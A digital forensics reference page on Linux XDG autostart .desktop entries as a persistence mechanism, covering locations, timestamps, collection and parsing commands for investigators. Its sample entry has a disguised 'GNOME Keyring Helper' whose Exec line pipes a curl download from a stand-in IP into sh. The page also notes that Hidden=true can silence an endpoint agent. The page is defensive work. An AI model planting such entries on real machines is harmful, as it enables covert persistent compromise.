Skip to content

PersistenceExecution

XDG Autostart .desktop Entries: Linux Desktop Persistence

XDG autostart entries in /etc/xdg/autostart and ~/.config/autostart that launch programs at every graphical login, plus KDE and X session hooks.

Location
~/.config/autostart/*.desktop, /etc/xdg/autostart/*.desktop
Proves
Which programs were configured to start automatically when a user logs in to a graphical session, and when that configuration was written
Timestamps
File system times only; launches appear in the journal as app-<name>@autostart.service units on systemd-managed sessions
Access
Any user for their own entries; root for /etc/xdg/autostart
Retention
Until the .desktop file is deleted; launch records follow journal retention
Collection
UAC, Velociraptor, cp -a, tar
  • findCLI · built into Linux
  • grep / zgrepCLI · built into Linux
  • journalctlCLI · built into Linux
  • systemctlCLI · built into Linux
  • rpmCLI · built into Linux
  • dpkgCLI · built into Linux

What it is

The freedesktop.org Desktop Application Autostart specification lets any .desktop file placed in an autostart directory run when a user logs in to a compliant desktop: GNOME, KDE Plasma, Xfce, Cinnamon, MATE, LXQt and most others. Legitimate uses include the keyring daemon, update notifiers and chat clients set to "start at login".

Attackers use the same mechanism on Linux workstations because it needs no root access for per-user entries and survives reboots. MITRE ATT&CK tracks it as T1547.013 (XDG Autostart Entries). It only fires on a graphical login, so it matters on desktops and VDI hosts, not headless servers.

Where it lives

ScopePathNotes
User$XDG_CONFIG_HOME/autostart/, normally ~/.config/autostart/*.desktopWritable by the user; overrides a system entry with the same file name
System/etc/xdg/autostart/*.desktopPackage-owned entries, root only
Other config dirs<dir>/autostart/ for each entry in $XDG_CONFIG_DIRSRare; check the session environment
KDE extras~/.config/autostart-scripts/ (Plasma 5), ~/.config/plasma-workspace/env/*.sh (sourced before the session), ~/.config/plasma-workspace/shutdown/Plasma 6 migrates old scripts into .desktop entries
X session hooks~/.xprofile, ~/.xsessionrc (Debian), ~/.xinitrc, /etc/X11/Xsession.d/Sourced by display managers or startx; not XDG but same effect
Generated units/run/user/<uid>/systemd/generator.late/app-*@autostart.serviceCreated at login by systemd-xdg-autostart-generator; volatile

What it proves

  • A program was set to run at every graphical login of that user (user directory) or of every user (system directory).
  • The exact command line, from the Exec= key, and any conditions on which desktop runs it.
  • When the entry was created or last changed, from file times.
  • On sessions started through systemd (GNOME 3.36 and later, KDE Plasma 5.21 and later when enabled), that the entry actually launched, through journal lines for the generated unit.
  • It does not prove the program ran if the user never logged in graphically after the file was created.

Key fields

[Desktop Entry]
Type=Application
Name=GNOME Keyring Helper
Exec=/bin/sh -c "curl -fsS http://203.0.113.50/k | sh"
Hidden=false
NoDisplay=true
X-GNOME-Autostart-enabled=true
X-GNOME-Autostart-Delay=60
KeyMeaning
ExecCommand run at login; the field attackers change
TryExecEntry is skipped if this binary is missing
Hidden=trueDisables the entry; a user file with the same name and Hidden=true silences a system entry, such as an endpoint agent's tray process
OnlyShowIn / NotShowInRestrict to desktops (GNOME;, KDE;)
X-GNOME-Autostart-enabledGNOME toggle; false disables
X-GNOME-Autostart-DelaySeconds to wait, used to hide the launch among session start noise
NoDisplayHides the entry from menus and some settings dialogs
Name, Icon, CommentCosmetic; often copy a real component name

Timestamps

.desktop files carry only file system times. For system entries, compare mtime and ctime with the owning package's install time in the package manager logs: a package file keeps its build-time mtime, so a recent ctime or a file no package owns stands out.

When the session runs under systemd, the generator creates units named app-<desktop-id>@autostart.service. Their start and exit messages land in the user's journal with microsecond UTC times, which gives you actual launch times rather than just configuration times.

Retention

Entries persist until deleted. The generated units under /run/user/<uid>/ disappear at logout. Journal evidence of launches lasts as long as journal size limits allow; on a busy desktop that is typically weeks to months.

Collection

# Dead box
tar -C /mnt/evidence -cpf /cases/2026-017/autostart.tar \
  etc/xdg/autostart home/*/.config/autostart home/*/.config/autostart-scripts \
  home/*/.config/plasma-workspace home/*/.xprofile home/*/.xsessionrc etc/X11/Xsession.d 2>/dev/null

# Live, per user session
systemctl --user list-units 'app-*@autostart.service' --all

UAC's xdg_autostart artifact collects /etc/xdg/autostart, /usr/share/autostart, ~/.config/autostart, ~/.local/share/autostart and KDE's ~/.config/autostart-scripts. Velociraptor can glob the same paths with Linux.Search.FileFinder.

Parsing

R=/mnt/evidence
# Every Exec line with its file, newest first
find "$R"/etc/xdg/autostart "$R"/home/*/.config/autostart -name '*.desktop' -printf '%T+ %p\n' 2>/dev/null | sort -r
grep -H '^Exec=' "$R"/home/*/.config/autostart/*.desktop "$R"/etc/xdg/autostart/*.desktop

# System entries not owned by any package (Debian family, then RHEL family)
for f in "$R"/etc/xdg/autostart/*.desktop; do dpkg --root="$R" -S "${f#$R}" >/dev/null 2>&1 || echo "unowned: $f"; done
for f in "$R"/etc/xdg/autostart/*.desktop; do rpm --root "$R" -qf "${f#$R}" | grep 'not owned'; done

# Launches from the journal
journalctl -D "$R"/var/log/journal --user-unit 'app-*@autostart.service' -o short-iso-precise

Investigator tips

  • Treat Exec values that call sh -c, bash -c, python -c, curl, wget or a binary in /tmp, /dev/shm or a hidden directory as suspicious until proven otherwise.
  • A user entry with the same file name as a system entry overrides it. Diff the two before assuming a user entry is benign.
  • Names copying real components (gnome-keyring-*.desktop, org.freedesktop.*) are common camouflage. Check whether the referenced binary exists and who owns it.
  • ~/.xsessionrc and ~/.xprofile are sourced shell scripts, so they behave like shell startup files for graphical sessions. Review them together.
  • Correlate entry creation time with the first graphical login afterwards in wtmp to bound when the payload first ran.

See also